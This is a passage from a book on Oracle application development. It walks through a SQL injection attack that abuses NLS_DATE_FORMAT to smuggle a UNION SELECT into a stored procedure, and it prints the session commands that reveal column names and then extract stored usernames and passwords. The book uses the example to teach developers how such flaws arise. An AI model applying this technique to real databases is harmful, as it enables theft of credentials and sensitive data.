Developing Successful Oracle Applications - Expert Oracle Database Architecture - page 20

procedure (you, in short, not them). They can now see what tables reside in that schema. They see that table USER_PW
and say, “Hmmm, sounds interesting.” So, they try to access that table:
DEVACCT@ORA12CR1> select * from eoda.user_pw;
select * from eoda.user_pw
*
ERROR at line 1:
ORA-00942: table or view does not exist
The malicious user can't access the table directly; he lacks the SELECT privilege on the table. Not to worry,
however, there is another way. The user wants to know about the columns in the table. Here's one way to find out
more about the table's structure:
DEVACCT@ORA12CR1> alter session set
2 nls_date_format = '"''union select tname||''/''||cname from col--"';
Session altered.
DEVACCT@ORA12CR1> exec eoda.inj( sysdate )
select username
from all_users
where created =
''union select tname||'/'||cname from col--'
USER_PW/PW.....
USER_PW/UNAME.....
PL/SQL procedure successfully completed.
There we go, we know the column names. Now that we know the table names and the column names of tables in
that schema, we can change the NLS_DATE_FORMAT one more time to query that table—not the dictionary tables.
So the malicious user can next do the following:
DEVACCT@ORA12CR1> alter session set
2 nls_date_format = '"''union select uname||''/''||pw from user_pw--"';
Session altered.
DEVACCT@ORA12CR1> exec eoda.inj( sysdate )
select username
from all_users
where created =
''union select uname||'/'||pw from user_pw--'
TKYTE/TOP SECRET.....
PL/SQL procedure successfully completed.
And there we go—that evil developer/user now has your sensitive username and password information. Going
one step further, what if this developer has the CREATE PROCEDURE privilege? It is a safe assumption that he would
(he is a developer after all). Could he go further with this example? Absolutely. That innocent-looking stored
procedure gives guaranteed read access to everything the EODA schema has read access to, at a minimum; and if